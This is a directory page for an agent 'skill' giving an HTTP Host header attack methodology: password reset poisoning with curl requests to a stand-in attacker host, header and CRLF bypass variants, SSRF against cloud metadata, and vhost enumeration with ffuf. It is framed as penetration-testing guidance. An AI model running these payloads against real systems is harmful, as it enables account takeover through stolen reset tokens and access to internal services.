SuperAPI AI Directory
Partner中文AI newsFavorites
Skillshttp-host-header-attacks

http-host-header-attacks

General & other

View repository

Updated 10-16 08:08

About this skill

HTTP Host Header attack methodology

1. Core concepts

The HTTP Host header tells the web server which website the client is requesting (virtual host routing). Many applications in the following scenariostrust the value of the Host header：

  • generate password reset links
  • generate absolute URLs
  • cache key computation
  • route to internal backends
  • access control decisions

If the applicationdoes not validate the Host header, an attacker can manipulate it to poison links, caches, or routing.

2. Password reset poisoning

Principle

POST /forgot-password HTTP/1.1
Host: evil-server.com                    ← 攻击者替换
Content-Type: application/x-www-form-urlencoded

email=victim@target.com

The application trusts the Host value to generate the reset link → the link in the email received by the victim becomes:

https://evil-server.com/reset?token=abc123

The victim clicks the link → the token is sent to the attacker's server.

Detection

# 正常请求（记录原始链接格式）
curl -X POST https://target.com/forgot-password \
  -d "email=test@target.com"

# Host 注入
curl -X POST https://target.com/forgot-password \
  -H "Host: evil-server.com" \
  -d "email=victim@target.com"

# 检查邮件中的链接是否包含 evil-server.com

Bypass variants

If directly replacing the Host is rejected (400/403):

# 1. X-Forwarded-Host（最常用）
Host: target.com
X-Forwarded-Host: evil-server.com

# 2. 端口注入
Host: target.com:@evil-server.com

# 3. 绝对 URI
GET https://target.com/forgot-password HTTP/1.1
Host: evil-server.com

# 4. 双 Host header
Host: target.com
Host: evil-server.com

# 5. 换行符注入
Host: target.com
 X-Forwarded-Host: evil-server.com

3. Web cache poisoning (impact description)

Host header or X-Forwarded-Host injection can serve as an input vector for cache poisoning — when the response content is affected by the Host value and the cache key does not include that header, the poisoned response will be served to all users. After detecting that Host injection affects the response content, the full exploitation chain of cache poisoning should be further evaluated.

4. SSRF via Host routing

Backend routing scenario

The reverse proxy decides which backend to forward to based on the Host header:

GET / HTTP/1.1
Host: internal-admin.target.com    ← 内部虚拟主机

GET / HTTP/1.1
Host: 169.254.169.254              ← 云元数据

Absolute URI bypass

GET https://target.com/ HTTP/1.1
Host: 169.254.169.254

Some proxies use the host of the absolute URI for ACL checks, but use the Host header for routing.

5. Virtual host enumeration

Discover hidden internal sites

# 用 ffuf 枚举 vhost
ffuf -u https://target.com -H "Host: FUZZ.target.com" \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
  -fs <default-size>

# 指定 IP 直接访问
curl -k https://10.0.0.1/ -H "Host: admin.target.com"

Typical names of internal panels

admin, staging, dev, test, internal, api-internal, 
monitoring, grafana, jenkins, gitlab, kibana,
phpmyadmin, adminer, debug, console, management

6. Bypass techniques (7 types)

6.1 X-Forwarded-Host

Host: target.com
X-Forwarded-Host: evil.com

6.2 Dual Host Header

Host: target.com
Host: evil.com

Different middleware takes the first or the last — a bypass occurs when the proxy and backend are inconsistent.

6.3 Absolute URI

GET https://target.com/path HTTP/1.1
Host: evil.com

6.4 Host port injection

Host: target.com:evil.com
Host: target.com:@evil.com
Host: target.com:80@evil.com

6.5 Other Override Headers

X-Host: evil.com
X-Forwarded-Server: evil.com
X-HTTP-Host-Override: evil.com
Forwarded: host=evil.com

6.6 Newline / CRLF injection

Host: target.com%0d%0aX-Forwarded-Host: evil.com

6.7 Tab / space

Host: target.com	evil.com
Host: target.com evil.com

7. Framework-specific behavior

Framework Host handling Password reset risk
Django Checks ALLOWED_HOSTS, but X-Forwarded-Host is not within the scope of the check High — X-Forwarded-Host is used directly for build_absolute_uri()
Rails X-Forwarded-Host takes precedence over Host High — directly affects url_for
Laravel Trusts X-Forwarded-* if trusted proxies are set Medium — depends on configuration
Spring ForwardedHeaderFilter handles Forwarded header Medium — depends on whether it is enabled
Express/Node req.hostname reads X-Forwarded-Host(under trust proxy) Medium
ASP.NET X-Forwarded-Host is not used automatically Low (unless explicitly configured)

8. Connection State attack

In HTTP/1.1 Keep-Alive scenarios, some reverse proxies only onthe first requestVerify Host, subsequent requests reuse the connection:

请求 1: Host: target.com      → 代理验证通过，建立连接
请求 2: Host: internal.com    → 代理不再验证，直接转发 → 访问内部站点

9. Decision tree

目标有 Host header 注入点？
├── 密码重置功能？
│   ├── 直接替换 Host → 检查邮件链接
│   ├── 403/400？→ X-Forwarded-Host / 双 Host / 端口注入
│   └── 邮件含恶意域名？→ 密码重置投毒成功
├── 有缓存（CDN/Varnish/Nginx）？
│   ├── Host/X-Forwarded-Host 影响响应内容？
│   ├── 响应是否被缓存（X-Cache: HIT）？
│   └── 两者都是？→ Web 缓存投毒
├── 反向代理后多个后端？
│   ├── 枚举 vhost（ffuf + Host fuzz）
│   ├── Host: 169.254.169.254 → 云元数据 SSRF
│   └── Host: internal-admin → 内部面板访问
├── Connection State
│   └── Keep-Alive 复用 → 第二请求切换 Host
└── 全部失败 → 尝试其他注入点或攻击面

In-depth reference